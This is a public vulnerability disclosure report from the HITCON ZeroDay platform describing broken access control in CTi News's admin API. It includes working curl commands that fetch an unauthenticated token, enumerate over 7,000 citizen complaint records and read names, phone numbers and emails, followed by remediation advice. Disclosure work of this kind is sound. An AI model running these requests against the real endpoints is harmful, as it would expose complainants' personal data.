中天新聞網 管理後台 API 的認證與授權機制存在缺陷 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00749
  •  發信 Vendor: 中天新聞網
  • Title: 中天新聞網 管理後台 API 的認證與授權機制存在缺陷
  • Introduction: 管理後台 API 缺乏存取控制,攻擊者無需帳號或登入,即可取得 API token 並讀取全部 7000 多筆民眾投訴資料,每筆包含投訴人真實姓名、手機號碼與電子信箱

處理狀態

目前狀態

公開
Last Update : 2026/07/26
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/05/26 19:47:49 : 新提交 (由 CHIEN 更新此狀態)
  • 2026/05/26 19:48:52 : 新提交 (由 CHIEN 更新此狀態)
  • 2026/05/27 14:30:51 : 新提交 (由 CHIEN 更新此狀態)
  • 2026/05/27 14:31:43 : 新提交 (由 CHIEN 更新此狀態)
  • 2026/05/28 15:59:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:25:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:25:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:25:09 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/26 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00749
  • 通報者:qian (CHIEN)
  • 風險:中
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://api.ctinews.com/api/manager/v1/token
https://api.ctinews.com/api/manager/v1/contact/list
https://api.ctinews.com/api/manager/v1/contact/{id}/detail

敘述

中天新聞網(ctinews.com)管理後台 API 存在權限控管缺陷。
攻擊者不須任何帳號或登入,只需兩步驟即可讀取所有民眾投訴資料的真實姓名、手機號碼與投訴內容:

  1. 直接呼叫 GET /api/manager/v1/token 取得 API token(該端點無任何認證機制)
  2. 使用該 token 呼叫 GET /api/manager/v1/contact/{id}/detail,即可讀取任意投訴人的個資與完整投訴內容
    所有投訴記錄的 ID 可從 GET /api/manager/v1/contact/list 直接取得,目前共 7000 多筆,API 無任何驗證機制,攻擊者可全數提取。外洩內容包含投訴人姓名、手機號碼、電子信箱及完整的投訴內容全文。

重現方式

Step 1 — 取得 API token(不需任何認證)及頁面確認
GET /api/manager/v1/token 端點無需帳號密碼或任何驗證,任何人都可直接取得有效 token:
圖片

curl -s "https://api.ctinews.com/api/manager/v1/token"
回應:
{"code": "0000", "data": "7a75374fc9f3f4afbdeea8b9fbab582e"}

Step 2 — 枚舉所有投訴 ID
使用該 token 呼叫 GET /api/manager/v1/contact/list,即可取得所有投訴的 hashed ID 與內容摘要:

curl -s "https://api.ctinews.com/api/manager/v1/contact/list?page=1&per_page=25" \
  -H "Authorization: Bearer dd7fcfcb3978becde8da0fe36c1593cb"

回應:

{
  "code": "0000",
  "data": {
    "page": 1,
    "pages": 315,
    "total": 7856,
    "orders": [
      {"id": "Qje4x20e61", "content": "沈柏洋用英文…"},
      ...
    ]
  }
}

圖片

Step 3 — 讀取投訴明細(含姓名、電話、Email 與投訴內容)
使用 hashed ID 呼叫 GET /api/manager/v1/contact/{id}/detail,取得完整個資:
投訴明細含個資

curl -s "https://api.ctinews.com/api/manager/v1/contact/m3rjbdKrPl/detail" \
  -H "Authorization: Bearer dd7fcfcb3978becde8da0fe36c1593cb"

回應:

{
  "code": "0000",
  "data": {
    "id": "m3rjbdKrPl",
    "is_member": false,
    "name": "測試王小明2",
    "niname": null,
    "job": null,
    "content": "測試留言內容2 Do Not Process",
    "county_id": "臺北市",
    "cellphone": "0987654321",
    "email": "[email protected]",
    "type": 3,
    "created_at": "2026-05-26 03:36:21",
    "updated_at": "2026-05-26 03:36:21",
    "files": [],
    "status": 0,
    "process_logs": []
  }
}

圖片
所有 7000 多筆投訴或是建議均可透過相同方式存取姓名、電話、email 與完整內容,無需任何授權。

修補建議

1. Token 端點應要求登入:`GET /api/manager/v1/token` 目前無需認證,應改為僅在管理員登入成功後才發放,並設定 token 有效期限。
2. 資料端點應驗證授權:contact list/detail 端點僅檢查 token 有效性而未驗證使用者是否已登入,應在 Middleware 層加入 session 與角色檢查。
3. 部署 Rate Limiting:API 目前無請求頻率限制(`X-RateLimit-Remaining: 99999999999`),應對管理後台端點加入合理的請求頻率限制。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;